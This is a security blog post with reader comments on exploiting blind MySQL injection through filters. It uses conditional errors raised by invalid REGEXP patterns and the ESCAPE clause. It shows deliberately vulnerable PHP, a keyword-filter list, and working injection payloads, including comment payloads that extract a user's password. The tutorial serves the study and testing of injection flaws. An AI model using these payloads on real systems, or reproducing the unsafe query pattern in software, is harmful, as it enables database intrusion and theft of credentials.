Exploiting hard filtered SQL Injections 2 (conditional errors)

This is a addition to my last post about Exploiting hard filtered SQL Injections. I recommend reading it to understand some basic filter evasion techniques. In this post we will have a look at the same scenario but this time we will see how it can be solved with conditional errors in a totally blind SQLi scenario.
For this we consider the following intentionally vulnerable source code:

<?php
// DB connection

// $id = (int)$_GET['id'];
$id = $_GET['id'];

$result = mysql_query("SELECT id,name,pass FROM users WHERE id = $id") or die("Error");

if($data = mysql_fetch_array($result))
	$_SESSION['name'] = $data['name'];
?>

(proper securing is shown on line 4 to avoid the same confusion as last time ;))

The main difference to the previous source code is that the user/attacker will not see any output of the SQL query itself because the result is only used for internals. However, the application has a notable difference when an error within the SQL query occurs. In this case it simply shows “Error” but this behavior could also be a notable MySQL error message when error_reporting=On or any other custom error or default page that indicates a difference between a good or bad SQL query. Or think about INSERT queries where you mostly don’t see any output of your injection rather than a “successful” or not.

Known conditional errors

Now how do we exploit this? “Timing!” you might say, but thats not the topic for today so I’ll filter that out for you 😉

if(preg_match('/(benchmark|sleep)/i', $id)) 
	exit('attack'); // no timing

If you encounter keyword filtering it is more than likely that timing is forbidden because of DoS possibilities. On the other hand using conditional errors is just faster and more accurate.
The most common documented error for SQLi usage is a devision by zero.

?id=if(1=1, CAST(1/0 AS char), 1)

However this throws an error only on PostgreSQL and Oracle (and some old MSSQL DBMS) but not on MySQL. A known alternative to cause a conditional error under MySQL is to use a subquery with more than one row in return:

?id=if(1=1, (select table_name from information_schema.tables), 1)

Because the result of the subquery is compared to a single value it is necessary that only one value is returned. A SELECT on all rows of information_schema.tables will return more than one value and this will result in the following error:

Subquery returns more than 1 row

Accordingly our vulnerable webapp will output “Error” and indicate if the condition (1=1) was true or false. Note that we have to know a table and column name to use this technique.

conditional errors with regex

Until yesterday I did not knew of any other way to throw a conditional error under MySQL (if you know any other, please leave a comment!) and from time to time I was stuck exploiting hard filtered SQL Injections where I could not use timing or known conditional errors because I could not access information_schema or any other table. A new way to trigger conditional errors under MySQL can be achieved by using regular expressions (regex).
Regexes are often used to prevent SQL injections, just like in my bad filter examples (which you should never use for real applications). But also for attackers a regex can be very useful. MySQL supports regex by the keyword REGEXP or its synonym RLIKE.

SELECT id,title,content FROM news WHERE content REGEXP '[a-f0-9]{32}'

The interesting part for a SQL Injection is that an error in the regular expression will result in a MySQL error as well. Here are some examples:

SELECT 1 REGEXP ''
Got error 'empty (sub)expression' from regexp
SELECT 1 REGEXP '('
Got error 'parentheses not balanced' from regexp
SELECT 1 REGEXP '['
Got error 'brackets ([ ]) not balanced' from regexp
SELECT 1 REGEXP '|'
Got error 'empty (sub)expression' from regexp
SELECT 1 REGEXP '\\'
Got error 'trailing backslash (\)' from regexp
SELECT 1 REGEXP '*', '?', '+', '{1'
Got error 'repetition-operator operand invalid' from regexp
SELECT 1 REGEXP 'a{1,1,1}'
Got error 'invalid repetition count(s)' from regexp

This can be used to build conditional errors loading an incorrect regular expression depending on our statement. The following injection will check if the MySQL version is 5 or not:

?id=(select(1)rlike(case(substr(@@version,1,1)=5)when(true)then(0x28)else(1)end))

If the condition is true a incorrect hex encoded regular expression is evaluated and an error is thrown. But in this case we could also have used a subselect error as above if we know a table name. Now consider a similar filter introduced in my previous post:

if(preg_match('/\s/', $id)) 
	exit('attack'); // no whitespaces
if(preg_match('/[\'"]/', $id)) 
	exit('attack'); // no quotes
if(preg_match('/[\/\\\\]/', $id)) 
	exit('attack'); // no slashes
if(preg_match('/(and|or|null|not)/i', $id)) 
	exit('attack'); // no sqli boolean keywords
if(preg_match('/(union|select|from|where)/i', $id)) 
	exit('attack'); // no sqli select keywords
if(preg_match('/(into|file)/i', $id))
	exit('attack'); // no file operation
if(preg_match('/(benchmark|sleep)/i', $id)) 
	exit('attack'); // no timing

The first highlighted filter avoids using the known conditional error because we can not use subselects. The last two highlighted filters prevents us from using time delays or files as a side channel. However the new technique with REGEXP does not need a SELECT to trigger a conditional error because we inject into a WHERE statement and MySQL allows a comparison of three operands:

?id=(1)rlike(if(mid(@@version,1,1)like(5),0x28,1))

If the first char of the version is ‘5’ then the regex ‘(‘ will be compared to 1 and an error occurs because of unbalanced parenthesis. Otherwise the regex ‘1’ will be evaluated correctly and no error occurs. Again we have everything we need to retrieve data from the database and to have fun with regex filter evasions by regex errors.

More:
Part 1, Part 3, SQLi filter evasion cheatsheet

7 Responses to Exploiting hard filtered SQL Injections 2 (conditional errors)

  1. mgesteiro says:

    nice post! keep up the good work.

    btw: did you know about time-based sql injection using heavy queries technique? trying to prevent a DoS where SQL injection is feasible is (almost) impossible 🙂

  2. Reiners says:

    @Dmitry Evteev:
    thank you very much for the russian link! too bad I didn’t find it before. I really like the idea to use all different error messages for a even faster data extraction (if error_reporting=on).
    I tried to improve it a bit with variables:

    ?id=1 and @a:=mid((select password from users LIMIT 0,1),1,1) union select 1,@a
    (you can only access variables in a union afaik)

    with a regex condition:
    ?id=1 and @a:=mid((select password from users LIMIT 0,1),1,1) union select 1,1 regexp if(find_in_set(@a,’abcdef’),'(‘,1)

    however an error in the union select will not raise =( maybe you have an idea. anyway: very cool stuff!
    the other link is interesting as well for other DBMS, however the shown typecast warnings for mysql can not be used for conditional errors in a SQLi scenario.

    @mgesteiro:
    nice link! I didn’t knew the paper but was sure that there are other ways to create a time delay. thanks. btw: did you get my respond to your last email?

  3. VADiUM says:

    There is another way to create runtime error:

    select 1 union all select 1

  4. teracci says:

    Very interesting.

    You can also use “escape” clause to create runtime error.

    Example:

    ?id=(0)like(0)escape(IF(EXPRESSION,1,12))

    SQL Error occurs only if the EXPRESSION returns false.

    Because putting two or more chars in “escape” causes,
    ERROR 1210 (HY000): Incorrect arguments to ESCAPE

    But I think “regexp” is the better way,
    so I usually use “regexp” for Mysql blind injection.

  5. Zen Network Technologies says:

    Hey Reiners, I really like your article. Very in depth.

    On a side note, your blog is growing. You should consider buying your own domain name. 😉

Leave a reply to teracci Cancel reply